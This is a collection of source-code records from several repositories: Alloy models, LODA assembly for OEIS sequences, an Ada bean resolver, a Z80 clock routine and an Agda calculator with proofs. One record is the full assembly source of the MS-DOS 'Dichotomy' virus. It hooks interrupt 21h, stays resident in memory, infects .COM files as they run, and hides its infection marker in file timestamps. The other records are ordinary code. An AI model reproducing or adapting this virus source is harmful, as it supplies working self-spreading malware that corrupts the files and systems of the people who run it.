max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
alloy4fun_models/trashltl/models/4/sGpfzDwswMukrqTwM.als
Kaixi26/org.alloytools.alloy
0
3275
<gh_stars>0 open main pred idsGpfzDwswMukrqTwM_prop5 { all f : File | f in File until f not in File } pred __repair { idsGpfzDwswMukrqTwM_prop5 } check __repair { idsGpfzDwswMukrqTwM_prop5 <=> prop5o }
MSDOS/Virus.MSDOS.Unknown.dichotom.asm
fengjixuchui/Family
3
171964
; Dichotomy Virus ; (c) 1994 Evil Avatar ; ; TASM /M3 DIKOTOMY ; TLINK /X DIKOTOMY ; EXE2BIN DIKOTOMY DIKOTOMY.COM .model tiny .code org 0 ;=====( Entry point for COM files )======================================== Dichotomy: call delta delta: mov bx, sp mov bp, word ptr ds:[bx] sub bp, offset delta ;get delta offset inc sp inc sp cmp word ptr ds:[bp+virus1], 'D[' mov ah, 1ah lea dx, [bp+newDTA] ;buffer for new DTA int 21h ;set new disk transfer address mov ah, 4eh mov cx, 7 ;any attribute lea dx, [bp+FileName] ;host name int 21h ;find second host file jc maybe_host ;if carry, then we need a new host mov ax, 3d00h int 21h ;open second host xchg ax, bx ;handle is better in bx mov ax, 4200h sub cx, cx mov dx, word ptr ds:[bp+newDTA+1ah] sub dx, (offset heap-offset loader2) int 21h ;move pointer to virus code mov ah, 3fh mov cx, (offset heap-offset loader2) lea dx, [bp+loader2] int 21h ;read in second part of virus mov ah, 3eh int 21h ;close the file maybe_host: mov ah, 51h int 21h ;check if resident inc bx ;if resident, PSP should be -1 jz resident ;yes? kewl! cmp word ptr ds:[bp+virus1], 'D[' ;check if we are fully here je go_res ;yes? we need to go resident return: mov ah, 1ah mov dx, 80h int 21h ;restore DTA lea si, [bp+comfix] ;offset of first 3 bytes of file mov di, 100h ;start of .com file mov ax, di push ax movsw movsb retn resident: cmp word ptr ds:[bp+virus1], 'D[' ;is the second host here? je return ;yes? return to program mov ah, 62h int 21h ;request new host jmp return ;return to host go_res: jmp loader2 ;go memory resident ;=====( Variables )======================================================== comfix db 0cdh, 20h, 0 ;first 3 bytes of .com file virus db '[Dichotomy]', 0 ;virus name author db '(c) 1994 Evil Avatar', 0 ;me FileName db 'DIKOTOMY.COM', 0, 73h dup (?) ;second host name loader1_end: ;=====( Go memory resident )=============================================== loader2: mov byte ptr ds:[bp+count], 0 ;infections = 0 mov ah, 'E' xor ah, 0fh mov bx, -1 int 21h ;get available memory mov ah, 'A' xor ah, 0bh sub bx, (virus_end-Dichotomy+15)/16+1 int 21h ;create a hole in memory mov ax, 3521h int 21h ;get int 21h handler mov word ptr [bp+save21], bx mov word ptr [bp+save21+2], es ;save int 21h vector mov ah, 'E' xor ah, 0dh mov bx, (virus_end-Dichotomy+15)/16 int 21h ;allocate the memory mov es, ax ;es is high virus segment mov cx, (virus_end-Dichotomy+1)/2 lea si, [bp+Dichotomy] sub di, di rep movsw ;copy ourself up there push es pop ds ;save virus seg for int 21h change dec ax ;MCB segment mov es, ax mov word ptr es:[1], 8 ;make DOS the owner of our segment mov ax, 4541h sub ax, 2020h lea dx, [int21] int 21h ;set new int 21h handler push cs cs pop ds es ;restore PSP segments jmp return ;return to host ;=====( Find a new host )================================================== request: push ds di si cx cs pop ds ;save registers mov di, bp ;set up scan registers sub si, si mov cx, 5 repe cmpsw ;scan to see if it is us jne restore1 ;no? let dos take care of it mov ax, 4300h lea dx, [WhatRun] int 21h ;get attributes of file push cx ;save them mov ax, 4301h sub cx, cx int 21h ;clear attributes mov ax, 3d02h int 21h ;open file read/write xchg ax, bx mov ax, 5700h int 21h ;get file date/time and cx, 1fh ;get seconds cmp cx, 1fh ;is it 62? je cant_fix ;can't fix this file mov ax, 4202h sub cx, cx cwd int 21h ;go to end of file mov ah, 40h mov cx, (heap-loader2) lea dx, [loader2] int 21h ;copy to end of file mov ax, 5700h int 21h ;get file date/time or cx, 1fh mov ax, 5701h int 21h cant_fix: mov ax, 4301h pop cx ;get attributes int 21h ;restore attributes mov ah, 3eh int 21h ;close file restore1: pop cx si di ds ;restore registers jmp dos21 ;go to dos ;=====( Interrupt 21h handler )============================================ int21: inc ah cmp ah, 4ch ;execute file je infect ;infect it dec ah cmp ah, 51h ;install check je install_check cmp ah, 62h ;request for new host je _request dos21: jmp dword ptr cs:[save21] ;call dos _request: jmp request ;=====( Installation check )=============================================== install_check: push di si cx ds cs pop ds ;save registers mov di, bp ;set up scan registers sub si, si mov cx, 5 repe cmpsw ;scan to see if it is us jne restore ;no? let dos take care of it mov bx, -1 ;return code pop ds ;restore ds add sp, 6 ;fix stack iret ;return restore: pop cx si di ds ;restore registers jmp dos21 ;go to dos ;=====( Infection routine )================================================ infect: dec ah call push_all ;save registers push cs pop es ;es equals code segment mov si, dx lea di, [WhatRun] mov cx, 40h rep movsw ;save filename in buffer mov si, dx ;ds:si equals file name lea di, [FileName] mov ax, 4300h int 21h ;get attributes of file push cx ;save them mov ax, 4301h sub cx, cx int 21h ;clear attributes mov ax, 3d02h int 21h ;open file read/write xchg ax, bx ;put handle in bx mov ax, 5700h int 21h ;get file time/date and cx, 1fh ;get seconds cmp cx, 1eh ;is 60 or 62? jae already_inf ;then already infected lodsb ;get drive letter dec si ;point to filename again and al, 5fh ;make it uppercase cmp al, 'C' ;is it C or higher? jb _single ;no? we must fully infect it cmp byte ptr cs:[count], 1 ;have we already done loader 2? jne do_loader2 ;yes? start doing loader 1s do_loader1: call inf_loader1 jmp done_inf do_loader2: call inf_loader2 jmp done_inf _single: push si di mov cx, 40h rep movsw ;save filename in buffer pop di si call inf_loader1 call inf_loader2 mov byte ptr cs:[count], 0 done_inf: mov ah, 3eh int 21h ;close file already_inf: mov ax, 4301h pop cx ;get attributes int 21h ;restore attributes call pop_all ;restore registers jmp dos21 ;call dos ;=====( Infect file with loader 1 )======================================== inf_loader1: push si di ds dx cs ;save filename and other stuff pop ds mov byte ptr ds:[count], 0 ;do loader 2 from now on mov ah, 3fh mov cx, 3 lea dx, [comfix] int 21h ;read in first 3 bytes mov ax, 4202h sub cx, cx cwd int 21h ;go to end of file or dx, dx jnz bad_file cmp ax, 65024-(virus_end-Dichotomy) ;see if file is too big jae bad_file mov cx, word ptr ds:[comfix] cmp cx, 'M'+'Z' jz bad_file ;can't infect .exe's sub ax, 3 ;calculate jump mov word ptr ds:[buffer], ax ;set up jump mov ah, 40h mov cx, (loader1_end-Dichotomy) cwd int 21h ;copy virus to end of file mov ax, 4200h sub cx, cx cwd int 21h ;go to beginning of file mov ah, 40h mov cx, 3 lea dx, [buffer-1] int 21h ;copy jump to beginning mov ax, 5700h int 21h ;get file time/date mov ax, 5701h or cx, 1eh and cx, 0fffeh ;set to 60 seconds int 21h ;set new file time bad_file: pop dx ds di si retn ;=====( Infect file with loader 2 )======================================== inf_loader2: push ds dx ;save file name mov cx, 40h rep movsw ;save filename in buffer push cs pop ds ;ds needs to be code segment mov byte ptr ds:[count], 1 ;do loader 1 from now on mov ax, 4202h sub cx, cx cwd int 21h ;go to end of file mov ah, 40h mov cx, (heap-loader2) lea dx, [loader2] int 21h ;copy to end of file mov ax, 5700h int 21h ;get file date/time or cx, 1fh ;set to 62 seconds mov ax, 5701h int 21h ;set new file time pop dx ds ;restore file name retn ;return to caller ;=====( Push all registers )=============================================== push_all: pop word ptr cs:[p_all] ;save return code push ax bx cx dx bp si di ds es ;save registers pushf ;save flags jmp word ptr cs:[p_all] ;return to caller ;=====( Pop all registers )================================================ pop_all: pop word ptr cs:[p_all] ;save return code popf ;restore flags pop es ds di si bp dx cx bx ax ;restore registers jmp word ptr cs:[p_all] ;return to caller ;=====( More variables )=================================================== virus1 db '[Dichotomy]', 0 ;virus signature db 0e9h ;jump cs:xxxx heap: buffer dw ? ;jump buffer newDTA db 2bh dup (?) ;replacement disk transfer address save21 dd ? ;interrupt 21h vector p_all dw ? ;push/pop return value count db ? ;infection count WhatRun db 80h dup (?) virus_end: end Dichotomy
oeis/227/A227428.asm
neoneye/loda-programs
11
10174
<reponame>neoneye/loda-programs ; A227428: Number of twos in row n of triangle A083093. ; Submitted by <NAME> ; 0,0,1,0,0,2,1,2,4,0,0,2,0,0,4,2,4,8,1,2,4,2,4,8,4,8,13,0,0,2,0,0,4,2,4,8,0,0,4,0,0,8,4,8,16,2,4,8,4,8,16,8,16,26,1,2,4,2,4,8,4,8,13,2,4,8,4,8,16,8,16,26,4,8,13,8,16,26,13,26,40,0,0,2,0,0,4,2,4,8,0,0,4,0,0,8,4,8,16,2 mov $2,$0 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $3,$4 bin $3,$0 add $3,1 gcd $3,3 div $3,2 add $1,$3 lpe mov $0,$1
oeis/031/A031215.asm
neoneye/loda-programs
11
167491
<gh_stars>10-100 ; A031215: Even-indexed primes: a(n) = prime(2n). ; Submitted by <NAME> ; 3,7,13,19,29,37,43,53,61,71,79,89,101,107,113,131,139,151,163,173,181,193,199,223,229,239,251,263,271,281,293,311,317,337,349,359,373,383,397,409,421,433,443,457,463,479,491,503,521,541,557,569,577,593,601,613,619,641,647,659,673,683,701,719,733,743,757,769,787,809,821,827,839,857,863,881,887,911,929,941,953,971,983,997,1013,1021,1033,1049,1061,1069,1091,1097,1109,1123,1151,1163,1181,1193,1213,1223 mov $2,36 mul $2,$0 mul $0,2 mov $4,2 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,2 lpe mov $0,$4 add $0,1
oeis/116/A116156.asm
neoneye/loda-programs
11
4365
; A116156: a(n) = 5^n * n*(n + 1). ; 0,10,150,1500,12500,93750,656250,4375000,28125000,175781250,1074218750,6445312500,38085937500,222167968750,1281738281250,7324218750000,41503906250000,233459472656250,1304626464843750,7247924804687500,40054321289062500,220298767089843750,1206398010253906250,6580352783203125000,35762786865234375000,193715095520019531250,1046061515808105468750,5632638931274414062500,30249357223510742187500,162050127983093261718750,866129994392395019531250,4619359970092773437500000,24586915969848632812500000 mov $2,5 pow $2,$0 mul $2,$0 add $0,2 mul $0,$2 sub $0,$2
src/Up-to/Closure.agda
nad/up-to
0
5093
<reponame>nad/up-to ------------------------------------------------------------------------ -- Closure properties for Compatible and Size-preserving ------------------------------------------------------------------------ {-# OPTIONS --sized-types #-} module Up-to.Closure where open import Equality.Propositional open import Logical-equivalence using (_⇔_) open import Prelude as P open import Prelude.Size open import Bijection equality-with-J using (_↔_) open import Function-universe equality-with-J hiding (id; _∘_) import Bisimilarity open import Indexed-container hiding (Bisimilarity) open import Indexed-container.Combinators hiding (id; _∘_) open import Labelled-transition-system import Labelled-transition-system.CCS open import Relation import Similarity import Similarity.CCS as SC open import Up-to private module CCS {ℓ} (Name : Type ℓ) where open Labelled-transition-system.CCS Name public open module B = Bisimilarity CCS public open module S = Similarity CCS public using (Similarity) ------------------------------------------------------------------------ -- Closure properties for Compatible -- The results in this section are closely related to -- Proposition 6.3.21 in Pous and Sangiorgi's "Enhancements of the -- bisimulation proof method". -- The function flip Compatible F is closed under _⊗_, assuming that F -- is monotone. Compatible-⊗ : ∀ {ℓ} {I : Type ℓ} {C₁ C₂ : Container I I} {F : Trans ℓ I} → Monotone F → Compatible C₁ F → Compatible C₂ F → Compatible (C₁ ⊗ C₂) F Compatible-⊗ {C₁ = C₁} {C₂} {F} mono comp₁ comp₂ {R = R} = F (⟦ C₁ ⊗ C₂ ⟧ R) ⊆⟨ mono (⟦⊗⟧↔ _ C₁ C₂) ⟩ F (⟦ C₁ ⟧ R ∩ ⟦ C₂ ⟧ R) ⊆⟨ (λ x → mono proj₁ x , mono proj₂ x) ⟩ F (⟦ C₁ ⟧ R) ∩ F (⟦ C₂ ⟧ R) ⊆⟨ Σ-map comp₁ comp₂ ⟩ ⟦ C₁ ⟧ (F R) ∩ ⟦ C₂ ⟧ (F R) ⊆⟨ _⇔_.from (⟦⊗⟧↔ _ C₁ C₂) ⟩∎ ⟦ C₁ ⊗ C₂ ⟧ (F R) ∎ -- The function flip Compatible F is closed under reindex₁ f, assuming -- that F is monotone and f-symmetric. Compatible-reindex₁ : ∀ {ℓ} {I : Type ℓ} {C : Container I I} {F : Trans ℓ I} {f : I → I} → Monotone F → Symmetric f F → Compatible C F → Compatible (reindex₁ f C) F Compatible-reindex₁ {C = C} {F} {f} mono hyp comp {R = R} = F (⟦ reindex₁ f C ⟧ R) ⊆⟨ mono (⟦reindex₁⟧↔ _ C) ⟩ F (⟦ C ⟧ (R ∘ f)) ⊆⟨ comp ⟩ ⟦ C ⟧ (F (R ∘ f)) ⊆⟨ map C (hyp _) ⟩ ⟦ C ⟧ (F R ∘ f) ⊆⟨ _⇔_.from (⟦reindex₁⟧↔ _ C) ⟩∎ ⟦ reindex₁ f C ⟧ (F R) ∎ -- The function flip Compatible F is closed under reindex₂ f, assuming -- that F is f-symmetric. Compatible-reindex₂ : ∀ {ℓ} {I : Type ℓ} {C : Container I I} {F : Trans ℓ I} {f : I → I} → Symmetric f F → Compatible C F → Compatible (reindex₂ f C) F Compatible-reindex₂ {C = C} {F} {f} hyp comp {R = R} = F (⟦ reindex₂ f C ⟧ R) ⊆⟨⟩ F (⟦ C ⟧ R ∘ f) ⊆⟨ hyp _ ⟩ F (⟦ C ⟧ R) ∘ f ⊆⟨ comp ⟩ ⟦ C ⟧ (F R) ∘ f ⊆⟨ id ⟩∎ ⟦ reindex₂ f C ⟧ (F R) ∎ -- The function flip Compatible F is closed under reindex f, assuming -- that F is monotone and f-symmetric. Compatible-reindex : ∀ {ℓ} {I : Type ℓ} {C : Container I I} {F : Trans ℓ I} {f : I → I} → Monotone F → Symmetric f F → Compatible C F → Compatible (reindex f C) F Compatible-reindex {C = C} {F} {f} mono hyp = Compatible C F ↝⟨ Compatible-reindex₁ mono hyp ⟩ Compatible (reindex₁ f C) F ↝⟨ Compatible-reindex₂ hyp ⟩ Compatible (reindex₂ f (reindex₁ f C)) F ↔⟨⟩ Compatible (reindex f C) F □ -- The function flip Compatible F is closed under _⟷_, assuming that F -- is monotone and symmetric. Compatible-⟷ : ∀ {ℓ} {I : Type ℓ} {C₁ C₂ : Container (I × I) (I × I)} {F : Trans₂ ℓ I} → Monotone F → Symmetric swap F → Compatible C₁ F → Compatible C₂ F → Compatible (C₁ ⟷ C₂) F Compatible-⟷ {C₁ = C₁} {C₂} {F} mono sym = curry ( Compatible C₁ F × Compatible C₂ F ↝⟨ Σ-map id (Compatible-reindex mono sym) ⟩ Compatible C₁ F × Compatible (reindex swap C₂) F ↝⟨ uncurry (Compatible-⊗ mono) ⟩ Compatible (C₁ ⊗ reindex swap C₂) F ↔⟨⟩ Compatible (C₁ ⟷ C₂) F □) -- An instance of the result above: If F is monotone and symmetric, -- and compatible for strong similarity for some LTS, then F is -- compatible for strong bisimilarity for this LTS. compatible-for-similarity→compatible-for-bisimilarity : ∀ {ℓ} {lts : LTS ℓ} {F} → Monotone F → Symmetric swap F → Compatible (Similarity.StepC lts) F → Compatible (Bisimilarity.StepC lts) F compatible-for-similarity→compatible-for-bisimilarity mono sym comp = Compatible-⟷ mono sym comp comp ------------------------------------------------------------------------ -- Closure properties for Size-preserving -- The function flip Size-preserving F is closed under reindex, -- assuming that F is f-symmetric for an involutory function f. -- -- Note that the assumptions are different from the ones asked for in -- Compatible-reindex: monotonicity of F has been replaced by the -- assumption that f is an involution. Size-preserving-reindex : ∀ {ℓ} {I : Type ℓ} {C : Container I I} {F : Trans ℓ I} {f : I → I} → f ∘ f ≡ id → Symmetric f F → Size-preserving C F → Size-preserving (reindex f C) F Size-preserving-reindex {C = C} {F} {f} inv hyp pres {R = R} {i = i} R⊆ = F R ⊆⟨ (λ {x} → subst (λ g → F (R ∘ g) x) (sym inv)) ⟩ F (R ∘ f ∘ f) ⊆⟨ hyp _ ⟩ F (R ∘ f) ∘ f ⊆⟨ pres ( R ∘ f ⊆⟨ R⊆ ⟩ ν (reindex f C) i ∘ f ⊆⟨ _⇔_.to (ν-reindex⇔ inv) ⟩ ν C i ∘ f ∘ f ⊆⟨ (λ {x} → subst (λ g → ν C i (g x)) inv) ⟩∎ ν C i ∎) ⟩ ν C i ∘ f ⊆⟨ _⇔_.from (ν-reindex⇔ inv) ⟩∎ ν (reindex f C) i ∎ -- Some negative results: -- -- * For inhabited name types it is not in general the case that a -- monotone and symmetric function F that is size-preserving for -- similarity for CCS is also size-preserving for bisimilarity for -- CCS. -- -- * It is not in general the case that if F is monotone and -- symmetric, and size-preserving for strong similarity for some -- LTS, then F is size-preserving for strong bisimilarity for this -- LTS. -- -- * The function flip Size-preserving F is not closed under _⟷_ for -- all F, not even those that are monotone and symmetric. -- -- * Furthermore flip Size-preserving F is not closed under _⊗_ for -- all F, not even those that are monotone. ¬-Size-preserving-⟷/⊗ : ∀ {ℓ} → ({Name : Type ℓ} → let open CCS Name in Name → ¬ ({F : Trans₂ ℓ (Proc ∞)} → Monotone F → Symmetric swap F → Size-preserving S.StepC F → Size-preserving B.StepC F)) × ¬ (∀ {lts : LTS ℓ} {F} → Monotone F → Symmetric swap F → Size-preserving (Similarity.StepC lts) F → Size-preserving (Bisimilarity.StepC lts) F) × ¬ ({I : Type ℓ} {C₁ C₂ : Container (I × I) (I × I)} {F : Trans₂ ℓ I} → Monotone F → Symmetric swap F → Size-preserving C₁ F → Size-preserving C₂ F → Size-preserving (C₁ ⟷ C₂) F) × ¬ ({I : Type ℓ} {C₁ C₂ : Container I I} {F : Trans ℓ I} → Monotone F → Size-preserving C₁ F → Size-preserving C₂ F → Size-preserving (C₁ ⊗ C₂) F) ¬-Size-preserving-⟷/⊗ {ℓ} = Lemmas.contradiction₂ , Lemmas.contradiction₃ (lift tt) , Lemmas.contradiction₄ (lift tt) , Lemmas.contradiction₅ (lift tt) where module Lemmas {Name : Type ℓ} (a : Name) where open CCS Name public ≤≥≁ = SC.≤≥≁ a m₁ = proj₁ ≤≥≁ m₂ = proj₁ (proj₂ ≤≥≁) F : Trans₂ ℓ (Proc ∞) F R = R ∪ (_≡ (m₁ , m₂)) ∪ (_≡ (m₂ , m₁)) mono : Monotone F mono R⊆S = ⊎-map R⊆S id symm : Symmetric swap F symm R = F (R ⁻¹) ⊆⟨⟩ R ⁻¹ ∪ (_≡ (m₁ , m₂)) ∪ (_≡ (m₂ , m₁)) ⊆⟨ ⊎-map id P.[ inj₂ ∘ lemma , inj₁ ∘ lemma ] ⟩ R ⁻¹ ∪ (_≡ (m₁ , m₂)) ⁻¹ ∪ (_≡ (m₂ , m₁)) ⁻¹ ⊆⟨ id ⟩∎ F R ⁻¹ ∎ where lemma : {p₁ p₂ : Proc ∞ × Proc ∞} → p₁ ≡ swap p₂ → swap p₁ ≡ p₂ lemma refl = refl pres : Size-preserving S.StepC F pres {R = R} {i = i} R⊆ = F R ⊆⟨⟩ R ∪ (_≡ (m₁ , m₂)) ∪ (_≡ (m₂ , m₁)) ⊆⟨ [ R⊆ , helper ] ⟩∎ Similarity i ∎ where helper : ∀ {p} → p ≡ (m₁ , m₂) ⊎ p ≡ (m₂ , m₁) → Similarity i p helper (inj₁ refl) = proj₁ (proj₂ (proj₂ ≤≥≁)) helper (inj₂ refl) = proj₁ (proj₂ (proj₂ (proj₂ ≤≥≁))) contradiction = Size-preserving B.StepC F ↝⟨ (λ hyp → _⇔_.to (monotone→⇔ _ mono) hyp) ⟩ F (Bisimilarity ∞) ⊆ Bisimilarity ∞ ↝⟨ _$ inj₂ (inj₁ refl) ⟩ m₁ ∼ m₂ ↝⟨ proj₂ (proj₂ (proj₂ (proj₂ ≤≥≁))) ⟩□ ⊥ □ contradiction₂ = ({F : Trans₂ ℓ (Proc ∞)} → Monotone F → Symmetric swap F → Size-preserving S.StepC F → Size-preserving B.StepC F) ↝⟨ (λ closed → closed mono symm pres) ⟩ Size-preserving B.StepC F ↝⟨ contradiction ⟩□ ⊥ □ contradiction₃ = (∀ {lts : LTS ℓ} {F} → Monotone F → Symmetric swap F → Size-preserving (Similarity.StepC lts) F → Size-preserving (Bisimilarity.StepC lts) F) ↝⟨ (λ closed mono sym pres → closed mono sym pres) ⟩ ({F : Trans₂ ℓ (Proc ∞)} → Monotone F → Symmetric swap F → Size-preserving S.StepC F → Size-preserving B.StepC F) ↝⟨ contradiction₂ ⟩□ ⊥ □ contradiction₄ = ({I : Type ℓ} {C₁ C₂ : Container (I × I) (I × I)} {F : Trans₂ ℓ I} → Monotone F → Symmetric swap F → Size-preserving C₁ F → Size-preserving C₂ F → Size-preserving (C₁ ⟷ C₂) F) ↝⟨ (λ closed mono symm pres → closed mono symm pres pres) ⟩ (∀ {lts : LTS ℓ} {F} → Monotone F → Symmetric swap F → Size-preserving (Similarity.StepC lts) F → Size-preserving (Bisimilarity.StepC lts) F) ↝⟨ contradiction₃ ⟩□ ⊥ □ contradiction₅ = ({I : Type ℓ} {C₁ C₂ : Container I I} {F : Trans ℓ I} → Monotone F → Size-preserving C₁ F → Size-preserving C₂ F → Size-preserving (C₁ ⊗ C₂) F) ↝⟨ (λ closed → closed mono pres) ⟩ (Size-preserving (reindex swap S.StepC) F → Size-preserving B.StepC F) ↝⟨ _$ Size-preserving-reindex refl symm pres ⟩ Size-preserving B.StepC F ↝⟨ contradiction ⟩□ ⊥ □
libsrc/_DEVELOPMENT/target/yaz180/driver/time/c/sdcc/clock_settime.asm
Frodevan/z88dk
640
163517
SECTION code_driver PUBLIC _clock_settime EXTERN asm_clock_settime ; set the the system time _clock_settime: pop af inc sp ; ignore the enum clock_id pop hl push hl dec sp push af jp asm_clock_settime
alloy4fun_models/trainstlt/models/5/S6jBqWKutg4jxCEge.als
Kaixi26/org.alloytools.alloy
0
2846
<reponame>Kaixi26/org.alloytools.alloy open main pred idS6jBqWKutg4jxCEge_prop6 { always all s: Signal | s in Green implies s' not in Green } pred __repair { idS6jBqWKutg4jxCEge_prop6 } check __repair { idS6jBqWKutg4jxCEge_prop6 <=> prop6o }
programs/oeis/032/A032934.asm
neoneye/loda
22
172543
; A032934: Numbers whose set of base 14 digits is {1,2}. ; 1,2,15,16,29,30,211,212,225,226,407,408,421,422,2955,2956,2969,2970,3151,3152,3165,3166,5699,5700,5713,5714,5895,5896,5909,5910,41371,41372,41385,41386,41567,41568,41581,41582,44115,44116,44129,44130,44311,44312,44325,44326,79787,79788,79801,79802,79983,79984,79997,79998,82531,82532,82545,82546,82727,82728,82741,82742,579195,579196,579209,579210,579391,579392,579405,579406,581939,581940,581953,581954,582135,582136,582149,582150,617611,617612,617625,617626,617807,617808,617821,617822,620355,620356,620369,620370,620551,620552,620565,620566,1117019,1117020,1117033,1117034,1117215,1117216 mov $2,$0 add $2,1 mov $5,$0 lpb $2 mov $0,$5 sub $2,1 sub $0,$2 mov $4,0 lpb $0 mul $0,2 dif $0,4 sub $0,1 add $4,14 mul $4,2 add $4,7 mul $4,7 lpe mov $3,$4 div $3,245 mul $3,12 add $3,1 add $1,$3 lpe mov $0,$1
src/asf-beans-resolvers.ads
Letractively/ada-asf
0
7152
----------------------------------------------------------------------- -- asf-beans-resolvers -- Resolver to create and give access to managed beans -- Copyright (C) 2013 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Finalization; with Util.Beans.Basic; with Util.Beans.Objects; with Util.Beans.Objects.Maps; with EL.Contexts; with ASF.Applications.Main; with ASF.Requests; package ASF.Beans.Resolvers is -- ------------------------------ -- Bean Resolver -- ------------------------------ type ELResolver is limited new EL.Contexts.ELResolver with private; -- Initialize the EL resolver to use the application bean factory and the given request. procedure Initialize (Resolver : in out ELResolver; App : in ASF.Applications.Main.Application_Access; Request : in ASF.Requests.Request_Access); -- Resolve the name represented by <tt>Name</tt> according to a base object <tt>Base</tt>. -- The resolver tries to look first in pre-defined objects (params, flash, headers, initParam). -- It then looks in the request and session attributes for the value. If the value was -- not in the request or session, it uses the application bean factory to create the -- new managed bean and adds it to the request or session. overriding function Get_Value (Resolver : in ELResolver; Context : in EL.Contexts.ELContext'Class; Base : access Util.Beans.Basic.Readonly_Bean'Class; Name : in Ada.Strings.Unbounded.Unbounded_String) return Util.Beans.Objects.Object; -- Sets the value represented by the <tt>Name</tt> in the base object <tt>Base</tt>. -- If there is no <tt>Base</tt> object, the request attribute with the given name is -- updated to the given value. overriding procedure Set_Value (Resolver : in out ELResolver; Context : in EL.Contexts.ELContext'Class; Base : access Util.Beans.Basic.Bean'Class; Name : in Ada.Strings.Unbounded.Unbounded_String; Value : in Util.Beans.Objects.Object); private type ELResolver is new Ada.Finalization.Limited_Controlled and EL.Contexts.ELResolver with record -- The current request. Request : ASF.Requests.Request_Access; -- The current ASF application. Application : ASF.Applications.Main.Application_Access; -- A list of attributes that have been created specifically for this resolver -- and whose scope is only the current resolver. Attributes : aliased Util.Beans.Objects.Maps.Map; Attributes_Access : access Util.Beans.Objects.Maps.Map; end record; -- Initialize the resolver. overriding procedure Initialize (Resolver : in out ELResolver); end ASF.Beans.Resolvers;
programs/oeis/063/A063136.asm
karttu/loda
1
179356
; A063136: Dimension of the space of weight 2n cusp forms for Gamma_0( 68 ). ; 7,24,42,60,78,96,114,132,150,168,186,204,222,240,258,276,294,312,330,348,366,384,402,420,438,456,474,492,510,528,546,564,582,600,618,636,654,672,690,708,726,744,762,780,798,816,834,852,870,888,906,924,942 mov $1,$0 mul $1,18 trn $1,1 add $1,7
src/Calculator.agda
MaisaMilena/AgdaCalculator
1
4226
<gh_stars>1-10 module Calculator where open import Human.Humanity hiding (_==_) open import Human.Nat public hiding (_==_) open import Human.Char public open import Human.Equality public --------- Data --------- -- Generic proof to proof "Or" operation. Proof that one of the arguments must be true data Either (A B : Set) : Set where fst : A -> Either A B snd : B -> Either A B -- Declaring a set of operations data Operation : Set where add sub mul : Operation -- It's used to identify which number will be updated, the one on the right or left data Side : Set where right left : Side -- Can be a number, an operation symbol or execution command data Event : Set where clr : Event -- base case num : Side -> Nat -> Event -- a digit ope : Operation -> Event -- operator data State : Set where state : Operation → Nat → Nat → State --------- Auxiliar properties --------- -- Proof of commutativity of addition. Proof by beala x+0 : (a : Nat) → (a + 0) == a x+0 zero = refl x+0 (suc a) rewrite x+0 a = refl -- Agda knows that 0 * a == 0, now we are telling that "a * 0 == 0 * a" a*0 : (a : Nat) -> (a * 0) == 0 a*0 zero = refl a*0 (suc a) rewrite (a*0 a) = refl -- does that 0 * a == 0 -- Proof that 1 is identity element of multiply over nats. Proof by beala a*1 : (a : Nat) -> (a * 1) == a a*1 zero = refl a*1 (suc a) rewrite a*1 a | a*0 a | x+0 a = refl -- Tells Agda that 1 * a == a 1*a : (a : Nat) -> (1 * a) == a 1*a zero = refl 1*a (suc a) rewrite 1*a a = refl --------- Calculator --------- -- Initial state init : State init = (state add 0 0) -- Calculates the operation related to a state result : State -> Nat result (state add a b) = (a + b) result (state sub a b) = (a - b) result (state mul a b) = (a * b) -- Get the current State, an Event and update to a new State updateState : State -> Event -> State -- clear updateState s clr = init -- "num operation": update the numbers values updateState (state op m n) (num right x) = (state op m x) updateState (state op m n) (num left x) = (state op x n) -- execute an operation updateState (state op m n) (ope e) = (state e m n) --------- Testing Calculator --------- testUpState0 : State -- add a number on the left testUpState0 = (updateState init (num left 1)) testUpState1 : State -- add a number on the right testUpState1 = (updateState testUpState0 (num right 1)) testUpState2 : State -- executes an operation on both numbers testUpState2 = (updateState testUpState1 (ope add)) -- A type of test as is usually done in other programming languages. Given some input what do I expect as result? testUpStateResult : (result (updateState testUpState1 (ope add))) == 2 testUpStateResult = refl testUpState0a : State -- add a number on the left testUpState0a = (updateState init (num left 3)) testUpState1a : State -- add a number on the right testUpState1a = (updateState testUpState0a (num right 5)) testUpState2a : State -- executes an operation on both numbers testUpState2a = (updateState testUpState1a (ope mul)) testUpState0b : State testUpState0b = (updateState testUpState2a (clr)) --------- Theorems --------- -- Proofs that the result showing up an operation will always do that operation -- theorem-0 : (s : State) -> (a b : Nat) -> (result (state add a b)) == (a + b) theorem-0 s a b = refl theorem-1 : (s : State) -> (a b : Nat) -> (result (state sub a b)) == (a - b) theorem-1 s a b = refl theorem-2 : (s : State) -> (a b : Nat) -> (result (state mul a b)) == (a * b) theorem-2 s a b = refl -- Given a and b and a proof that one of them is 0, then the result of multiplicating a and b must be 0 theorem-3 : ∀ (a b : Nat) -> Either (a == 0) (b == 0) -> (a * b) == 0 theorem-3 .0 b (fst refl) = refl -- Agda knows that 0 * n == 0 (refl) theorem-3 a .0 (snd refl) = (a*0 a) -- then we proof that n * 0 is also 0 -- if a == 1: (mul a b) == b -- if b == 1: (mul a b) == a -- if a == 1 OR b == 1: Either ((mul a b) == b) ((mul a b) == a) -- Given a and b and a proof that one of them is 1, -- then the result of multiplicating a and b must be the number that is not 1 theorem-4 : ∀ (a b : Nat) -> Either (a == 1) (b == 1) -> Either ((a * b) == b) ((a * b) == a) theorem-4 .1 b (fst refl) = fst (1*a b) -- A proof that 1 * b == b theorem-4 a .1 (snd refl) = snd (a*1 a) -- A proof that b * 1 == b -- Proof that update state works as expected update-theorem : ∀ (x y : Nat) → (s : State) → (result (updateState (updateState (updateState s (num left x)) (ope add)) (num right y))) == (x + y) update-theorem x y (state op m n) = refl -- TODO -- -- -- 